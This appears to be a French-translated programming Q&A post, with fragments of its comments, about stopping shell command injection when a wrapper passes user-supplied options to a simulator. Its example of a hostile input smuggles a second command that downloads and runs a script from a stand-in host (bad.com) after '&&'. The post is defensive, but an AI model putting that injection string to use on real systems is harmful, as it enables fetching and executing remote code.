J'ai une application wrapper où je dois laisser l'utilisateur spécifier des options personnalisées à passer à un simulateur. Cependant, je veux m'assurer que l'utilisateur n'injecte pas d'autres commandes via les options utilisateur. Quelle est la meilleure façon d'y parvenir?
Par exemple.
- L'utilisateur fournit:
-a -b - L'application s'exécute:
mysim --preset_opt -a -b
Cependant, je ne veux pas que cela se produise:
- L'utilisateur fournit:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh - L'application s'exécute:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Actuellement, je pense que je pourrais simplement entourer chaque option fournie par l'utilisateur de guillemets simples 'et supprimer tous les guillemets simples fournis par l'utilisateur, de sorte que la commande dans le dernier exemple se révèle être inoffensive:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Remarque: La mysimcommande s'exécute dans le cadre d'un script shell dans un conteneur docker / lxc. J'utilise Ubuntu.
eval. J'appelle l'exécutable mysimdans un script shell. Je vois l'injection se produire si je copie simplement la chaîne d'options fournie par l'utilisateur et la colle à la fin de la mysimcommande.
-a -b. Je cherche donc à m'assurer que des commandes supplémentaires ne sont pas injectées dans cette chaîne.
[a-zA-Z0-9 _-]ressemble à un choix assez défensif.
evalpour exécuter l'application? Sinon, l'injection ne devrait pas avoir lieu:x="&& echo Doomed" ; echo $x